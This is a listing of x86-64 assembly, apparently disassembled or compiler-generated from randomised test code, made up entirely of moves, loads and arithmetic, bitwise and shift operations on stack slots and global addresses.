mov rax, qword [rsp + 0x9108]
mov rcx, qword [rsp + 0x9000]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ec4], eax
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x93d0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9370]
mov qword [rcx], rax
lea rax, [rsp + 0x92d0]
mov qword [rsp + 0x9490], rax
mov eax, dword [rsp + 0x4e80]
mov ecx, dword [0x1401cd720]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e60], eax
movzx eax, word [rsp + 0x1520]
mov word [rsp + 0x1590], ax
movzx eax, byte [rsp + 0x1ef]
mov rcx, qword [rsp + 0x9230]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401cc032], al
mov rax, qword [0x1401cd798]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x14dc], ax
movsx eax, byte [rsp + 0x1de]
mov rcx, qword [rsp + 0x8d00]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
lea rax, [rsp + 0x14d4]
mov qword [rsp + 0x9498], rax
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x9130]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7f38], rax
mov rax, qword [rsp + 0x90c0]
mov rax, qword [rax]
mov qword [rsp + 0x94a0], rax
mov eax, dword [rsp + 0x4e40]
mov ecx, dword [rsp + 0x4b18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e90], eax
mov eax, dword [rsp + 0x4eac]
mov dword [rsp + 0x4ed4], eax
mov rax, qword [rsp + 0x9410]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9260]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9058]
mov byte [rcx], al
movsx eax, word [rsp + 0x14d0]
movsx ecx, word [0x1401cc048]
sub eax, ecx
mov word [0x1401cc034], ax
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9478]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9248]
mov word [rcx], ax
lea rax, [rsp + 0x1590]
mov qword [rsp + 0x94a8], rax
movzx eax, byte [rsp + 0x1ee]
movzx ecx, byte [rsp + 0x20d]
add eax, ecx
mov rcx, qword [rsp + 0x9050]
mov byte [rcx], al
mov rax, qword [rsp + 0x8ca0]
mov qword [rsp + 0x94b0], rax
mov rax, qword [rsp + 0x8fe0]
mov rcx, qword [rsp + 0x9338]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9438], rax
mov eax, dword [rsp + 0x4e3c]
mov ecx, dword [rsp + 0x4ea4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e4c], eax
lea rax, [rsp + 0x4e24]
mov qword [rsp + 0x94b8], rax
mov rax, qword [rsp + 0x9318]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x166]
shl eax, cl
mov rcx, qword [rsp + 0x9218]
mov byte [rcx], al
lea rax, [rsp + 0x1514]
mov qword [0x1401cd810], rax
movzx eax, byte [0x1401cc00e]
mov byte [rsp + 0x20e], al
mov rax, qword [rsp + 0x9138]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8fa0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1fd], al
movzx eax, word [rsp + 0x1528]
movzx ecx, word [rsp + 0x1588]
or eax, ecx
mov word [rsp + 0x14fc], ax
mov rax, qword [rsp + 0x8f58]
mov qword [rsp + 0x94c0], rax
mov rax, qword [rsp + 0x8e20]
movzx ecx, al
mov rax, qword [rsp + 0x9428]
sar rax, cl
mov qword [rsp + 0x8bd0], rax
lea rax, [rsp + 0x4e84]
mov qword [rsp + 0x94c8], rax
mov rax, qword [rsp + 0x8f50]
mov rcx, qword [rsp + 0x9228]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4ec4], eax
mov rax, qword [rsp + 0x8de8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9488]
mov word [rcx], ax
mov rax, qword [rsp + 0x9260]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e9]
add eax, ecx
mov rcx, qword [0x1401cd748]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1e7]
movsx ecx, byte [rsp + 0x1e8]
add eax, ecx
mov byte [rsp + 0x63], al
movzx eax, word [rsp + 0x1580]
mov rcx, qword [rsp + 0x8d50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1560], ax
movzx eax, byte [rsp + 0x208]
mov byte [rsp + 0x20f], al
movzx eax, byte [rsp + 0x1f3]
mov rcx, qword [rsp + 0x9430]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x9040]
mov qword [rsp + 0x94d0], rax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8ef0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x90a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e48]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e44], eax
lea rax, [rsp + 0x4d54]
mov qword [rsp + 0x94d8], rax
movsx eax, word [0x1401cd788]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc058], ax
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1560]
sub eax, ecx
mov word [rsp + 0x1580], ax
lea rax, [rsp + 0x1dc]
mov qword [rsp + 0x94e0], rax
mov rax, qword [0x1401cd7f8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9478]
mov word [rcx], ax
mov rax, qword [rsp + 0x9410]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1f5]
or eax, ecx
mov byte [rsp + 0x1fb], al
mov rax, qword [rsp + 0x9468]
mov eax, dword [rax]
mov dword [rsp + 0x4ed8], eax
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f28]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9018]
mov qword [rcx], rax
lea rax, [rsp + 0x9388]
mov qword [rsp + 0x94e8], rax
mov rax, qword [rsp + 0x9408]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x94d8]
mov qword [rsp + 0x94f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x94f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4e98], eax
lea rax, [rsp + 0x1538]
mov qword [0x1401cd818], rax
movsx eax, byte [rsp + 0x1fe]
movsx ecx, byte [rsp + 0x20f]
and eax, ecx
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x8d00]
movzx eax, byte [rax]
mov byte [rsp + 0x210], al
movzx eax, byte [0x1401cc01a]
movzx ecx, byte [rsp + 0x1eb]
sub eax, ecx
mov byte [rsp + 0x1ce], al
lea rax, [rsp + 0x1514]
mov qword [rsp + 0x94f8], rax
mov eax, dword [rsp + 0x4ea8]
mov ecx, dword [rsp + 0x4e70]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9468]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9288]
mov rax, qword [rax]
mov qword [rsp + 0x9500], rax
mov rax, qword [rsp + 0x8ff8]
mov rcx, qword [rsp + 0x9200]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9338], rax
mov rax, qword [rsp + 0x90e8]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e5c], eax
movsx eax, word [rsp + 0x11f4]
movsx ecx, word [rsp + 0x158c]
add eax, ecx
mov word [0x1401cc048], ax
lea rax, [rsp + 0x20f]
mov qword [rsp + 0x9508], rax
movzx eax, byte [rsp + 0x205]
mov rcx, qword [rsp + 0x9160]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1e0], al
movzx eax, word [rsp + 0x14e4]
mov word [rsp + 0x1594], ax
mov rax, qword [rsp + 0x9180]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1520]
add eax, ecx
mov word [rsp + 0x121c], ax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8c08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a8], rax
mov rax, qword [rsp + 0x8fd8]
mov rax, qword [rax]
mov qword [rsp + 0x9510], rax
mov rax, qword [rsp + 0x8f18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ec0], eax
lea rax, [rsp + 0x4ca4]
mov qword [rsp + 0x9518], rax
mov rax, qword [rsp + 0x9098]
movzx eax, word [rax]
mov word [0x1401cd820], ax
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x203]
or eax, ecx
mov rcx, qword [rsp + 0x8d00]
mov byte [rcx], al
movzx eax, word [rsp + 0x1584]
movzx ecx, word [rsp + 0x1550]
shl eax, cl
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0x9088]
movzx eax, byte [rax]
mov byte [rsp + 0x211], al
mov rax, qword [rsp + 0x9070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9180]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
lea rax, [rsp + 0x94c0]
mov qword [rsp + 0x9520], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ecc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ea0], eax
mov rax, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0x8b40]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x93f8]
mov qword [rcx], rax
lea rax, [rsp + 0x4e84]
mov qword [rsp + 0x9528], rax
mov rax, qword [rsp + 0x92c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9250]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc05c], ax
movzx eax, byte [rsp + 0x1ee]
mov rcx, qword [rsp + 0x8f80]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1db], al
lea rax, [rsp + 0x1538]
mov qword [rsp + 0x9530], rax
movsx eax, byte [rsp + 0x1f0]
movsx ecx, byte [rsp + 0x1e5]
sub eax, ecx
mov byte [rsp + 0x202], al
movsx eax, word [rsp + 0x158c]
mov rcx, qword [rsp + 0x9380]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xeb0], ax
mov rax, qword [rsp + 0x8f60]
mov ecx, dword [rsp + 0x4e68]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x93b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c58]
mov rcx, qword [rsp + 0x91d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4b18], eax
mov rax, qword [rsp + 0x8f90]
mov qword [rsp + 0x9538], rax
mov rax, qword [rsp + 0x9020]
mov rcx, qword [rsp + 0x9370]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x86e8], rax
mov rax, qword [rsp + 0x9230]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ed]
add eax, ecx
mov byte [0x1401cc00c], al
mov rax, qword [rsp + 0x92a8]
movzx eax, byte [rax]
mov byte [rsp + 0x212], al
mov rax, qword [rsp + 0x8f80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0x9398]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1530], ax
lea rax, [rsp + 0x1ff]
mov qword [rsp + 0x9540], rax
mov rax, qword [rsp + 0x8848]
mov rcx, qword [rsp + 0x8100]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x92d0], rax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0x9548], rax
mov rax, qword [rsp + 0x84e0]
movzx ecx, al
mov rax, qword [rsp + 0x8be8]
shr rax, cl
mov rcx, qword [rsp + 0x8ef0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4e44]
mov ecx, dword [0x1401cc01c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9158]
mov dword [rcx], eax
lea rax, [rsp + 0x1554]
mov qword [0x1401cd828], rax
movzx eax, word [rsp + 0x1558]
mov word [rsp + 0x1598], ax
movsx eax, byte [rsp + 0x1f4]
mov rcx, qword [rsp + 0x9318]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9100]
mov byte [rcx], al
lea rax, [rsp + 0x14f4]
mov qword [rsp + 0x9550], rax
mov rax, qword [rsp + 0x93e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8d78]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9208]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x92c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov qword [rcx], rax
lea rax, [rsp + 0x4e40]
mov qword [rsp + 0x9558], rax
mov rax, qword [rsp + 0x93f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e98]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9480]
mov rax, qword [rax]
mov qword [rsp + 0x9560], rax
mov rax, qword [rsp + 0x9300]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x209]
add eax, ecx
mov rcx, qword [rsp + 0x8db0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x207]
movzx ecx, byte [rsp + 0x180]
sub eax, ecx
mov byte [0x1401cc01a], al
lea rax, [rsp + 0x121c]
mov qword [rsp + 0x9568], rax
movsx eax, word [rsp + 0x154c]
movsx ecx, word [rsp + 0x14f4]
add eax, ecx
mov word [rsp + 0x14ec], ax
mov rax, qword [rsp + 0x9358]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9190]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x92f0]
mov byte [rcx], al
mov eax, dword [rsp + 0x4eb4]
mov dword [rsp + 0x4edc], eax
mov rax, qword [rsp + 0x9420]
mov rcx, qword [rsp + 0x9020]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9420]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9558]
mov eax, dword [rax]
mov dword [rsp + 0x4ee0], eax
mov rax, qword [rsp + 0x8f28]
movzx ecx, al
mov rax, qword [rsp + 0x94d0]
shl rax, cl
mov qword [rsp + 0x9068], rax
movsx eax, word [rsp + 0x14c8]
movsx ecx, word [rsp + 0x11f4]
or eax, ecx
mov word [rsp + 0xeb0], ax
movzx eax, word [rsp + 0x14d4]
mov rcx, qword [rsp + 0x8ed8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401cc060], ax
movzx eax, word [rsp + 0x1560]
mov word [rsp + 0x159c], ax
movsx eax, word [rsp + 0x11f4]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14e8], ax
movzx eax, byte [rsp + 0x1df]
mov byte [rsp + 0x213], al
mov rax, qword [rsp + 0x9440]
mov rcx, qword [rsp + 0x90b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9470]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9078]
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9538], rax
lea rax, [rsp + 0x91b8]
mov qword [rsp + 0x9570], rax
mov rax, qword [rsp + 0x9518]
mov ecx, dword [rsp + 0x4e40]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x93c8]
mov dword [rcx], eax
lea rax, [rsp + 0x1ee]
mov qword [rsp + 0x9578], rax
movzx eax, word [rsp + 0x14e4]
mov rcx, qword [rsp + 0x9180]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc03c], ax
mov rax, qword [0x1401cd7c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x92f0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9208]
mov byte [rcx], al
mov rax, qword [rsp + 0x9540]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8fa0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x107], al
movsx eax, word [rsp + 0x1564]
mov rcx, qword [rsp + 0x91c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14c8], ax
mov eax, dword [rsp + 0x4e74]
mov ecx, dword [rsp + 0x4ee0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x93c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90c0]
mov rax, qword [rax]
mov qword [rsp + 0x9580], rax
mov rax, qword [rsp + 0x9270]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ed0], eax
lea rax, [rsp + 0x8e20]
mov qword [rsp + 0x9588], rax
mov rax, qword [rsp + 0x9100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1fc], al
mov rax, qword [0x1401cd818]
movzx eax, word [rax]
mov word [0x1401cd830], ax
movsx eax, byte [rsp + 0x202]
mov rcx, qword [rsp + 0x93d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d00]
mov byte [rcx], al
lea rax, [rsp + 0x14e0]
mov qword [rsp + 0x9590], rax
mov rax, qword [rsp + 0x9260]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9358]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1db], al
movzx eax, word [rsp + 0x1528]
mov word [rsp + 0x15a0], ax
mov rax, qword [rsp + 0x8de0]
mov ecx, dword [rsp + 0x4e90]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4e64], eax
mov rax, qword [rsp + 0x90d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9068]
sar rax, cl
mov qword [rsp + 0x9438], rax
lea rax, [rsp + 0x4e4c]
mov qword [rsp + 0x9598], rax
mov rax, qword [rsp + 0x9460]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9210]
shl rax, cl
mov rcx, qword [rsp + 0x90f8]
mov qword [rcx], rax
movzx eax, byte [0x1401cc009]
movzx ecx, byte [rsp + 0x1f8]
and eax, ecx
mov rcx, qword [0x1401cd748]
mov byte [rcx], al
lea rax, [rsp + 0x154c]
mov qword [rsp + 0x95a0], rax
mov rax, qword [rsp + 0x94e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x93d8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x20b]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x20c], al
mov rax, qword [rsp + 0x9358]
movzx eax, byte [rax]
mov byte [rsp + 0x214], al
mov rax, qword [rsp + 0x87c8]
mov rcx, qword [rsp + 0x8e20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
lea rax, [rsp + 0x4e74]
mov qword [rsp + 0x95a8], rax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x9408]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e80], eax
lea rax, [rsp + 0x92f8]
mov qword [rsp + 0x95b0], rax
movsx eax, word [rsp + 0x150c]
movsx ecx, word [rsp + 0x14ec]
add eax, ecx
mov word [0x1401cc064], ax
movzx eax, word [rsp + 0x14cc]
movzx ecx, word [rsp + 0x14fc]
add eax, ecx
mov word [rsp + 0x155c], ax
mov rax, qword [rsp + 0x8ed8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1580]
add eax, ecx
mov rcx, qword [rsp + 0x91c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1e9]
mov byte [rsp + 0x215], al
movsx eax, word [rsp + 0x14d8]
movsx ecx, word [rsp + 0x11f4]
sub eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
mov rax, qword [rsp + 0x92d0]
mov qword [rsp + 0x95b8], rax
mov rax, qword [rsp + 0x93b8]
mov ecx, dword [rsp + 0x4dc4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8fc0]
mov rcx, qword [rsp + 0x8e70]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x4b18]
mov qword [rsp + 0x95c0], rax
mov rax, qword [0x1401cd7c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9398]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1401cd818]
mov word [rcx], ax
movsx eax, word [rsp + 0x14d8]
movsx ecx, word [rsp + 0x1548]
shl eax, cl
mov rcx, qword [rsp + 0x8f30]
mov word [rcx], ax
lea rax, [rsp + 0x207]
mov qword [rsp + 0x95c8], rax
mov rax, qword [rsp + 0x8f40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8fa8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1fe]
movsx ecx, byte [rsp + 0x1dd]
sub eax, ecx
mov byte [rsp + 0x20f], al
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov dword [rsp + 0x4ee4], eax
mov rax, qword [rsp + 0x8e70]
mov rcx, qword [rsp + 0x88e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9078]
mov rax, qword [rax]
mov qword [rsp + 0x95d0], rax
mov rax, qword [rsp + 0x9548]
mov ecx, dword [0x1401cd720]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9528]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1f3]
movzx ecx, byte [rsp + 0x1f1]
add eax, ecx
mov byte [0x1401cc033], al
mov rax, qword [rsp + 0x8f08]
movzx eax, word [rax]
mov word [rsp + 0x15a4], ax
mov rax, qword [rsp + 0x91c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x158c]
and eax, ecx
mov rcx, qword [rsp + 0x9028]
mov word [rcx], ax
mov rax, qword [rsp + 0x9138]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x213], al
lea rax, [rsp + 0x211]
mov qword [rsp + 0x95d8], rax
mov rax, qword [rsp + 0x9288]
mov rcx, qword [rsp + 0x92b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x93e0], rax
lea rax, [rsp + 0x4dd8]
mov qword [rsp + 0x95e0], rax
mov eax, dword [rsp + 0x4e90]
mov ecx, dword [rsp + 0x4e64]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4de8], eax
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ff8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9018]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1530]
movzx ecx, word [rsp + 0x1508]
sar eax, cl
mov word [0x1401cc050], ax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x213]
xor eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x9380]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0x8fa0]
movzx eax, byte [rax]
mov byte [rsp + 0x216], al
mov rax, qword [rsp + 0x9380]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1564]
or eax, ecx
mov word [rsp + 0x14dc], ax
mov rax, qword [rsp + 0x84e0]
mov rcx, qword [rsp + 0x93d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8fb0], rax
mov rax, qword [rsp + 0x8de0]
mov eax, dword [rax]
mov dword [rsp + 0x4ee8], eax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0x8fd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9068], rax
lea rax, [rsp + 0x4e50]
mov qword [rsp + 0x95e8], rax
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1588]
sub eax, ecx
mov word [0x1401cc068], ax
movsx eax, word [rsp + 0x14f4]
movsx ecx, word [rsp + 0x14d0]
add eax, ecx
mov word [rsp + 0x14d8], ax
movsx eax, byte [rsp + 0xca]
movsx ecx, byte [rsp + 0x204]
add eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x95f0], rax
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
sub eax, ecx
mov word [rsp + 0x1588], ax
lea rax, [rsp + 0x84e0]
mov qword [rsp + 0x95f8], rax
mov eax, dword [rsp + 0x4da0]
mov ecx, dword [rsp + 0x4e38]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ea0], eax
lea rax, [rsp + 0x9310]
mov qword [rsp + 0x9600], rax
mov eax, dword [rsp + 0x4ed0]
mov ecx, dword [rsp + 0x4dc4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eac], eax
movzx eax, byte [rsp + 0x1ce]
movzx ecx, byte [rsp + 0x1ec]
add eax, ecx
mov rcx, qword [0x1401cd778]
mov byte [rcx], al
movsx eax, word [0x1401cc034]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9488]
mov word [rcx], ax
movzx eax, word [rsp + 0x155c]
mov word [rsp + 0x15a8], ax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd760]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x1f9], al
lea rax, [rsp + 0x1eb]
mov qword [rsp + 0x9608], rax
mov eax, dword [rsp + 0x4ea8]
mov rcx, qword [rsp + 0x8de0]
mov qword [rsp + 0x9610], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9610]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4ea0], eax
mov rax, qword [rsp + 0x9308]
mov rcx, qword [rsp + 0x93a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4d54], eax
lea rax, [rsp + 0x8f28]
mov qword [rsp + 0x9618], rax
mov rax, qword [rsp + 0x8fc0]
mov rcx, qword [rsp + 0x9500]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x91b8], rax
lea rax, [rsp + 0x63]
mov qword [rsp + 0x9620], rax
movzx eax, word [rsp + 0x156c]
mov word [0x1401cd834], ax
movzx eax, byte [rsp + 0x1e0]
movzx ecx, byte [rsp + 0x1ef]
and eax, ecx
mov rcx, qword [rsp + 0x9410]
mov byte [rcx], al
mov rax, qword [rsp + 0x94a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1520]
add eax, ecx
mov word [rsp + 0x14e4], ax
lea rax, [0x1401cc064]
mov qword [rsp + 0x9628], rax
mov rax, qword [rsp + 0x9130]
mov rcx, qword [rsp + 0x9078]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x92d0], rax
mov rax, qword [rsp + 0x95a8]
mov eax, dword [rax]
mov dword [rsp + 0x4eec], eax
mov rax, qword [rsp + 0x9370]
mov rax, qword [rax]
mov rcx, qword [0x1401cc010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9238], rax
mov eax, dword [rsp + 0x4ec0]
mov ecx, dword [rsp + 0x4e9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e50], eax
movzx eax, word [rsp + 0x157c]
mov word [rsp + 0x15ac], ax
mov rax, qword [0x1401cd7c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc033], al
movsx eax, word [rsp + 0x158c]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14c4], ax
lea rax, [rsp + 0x209]
mov qword [rsp + 0x9630], rax
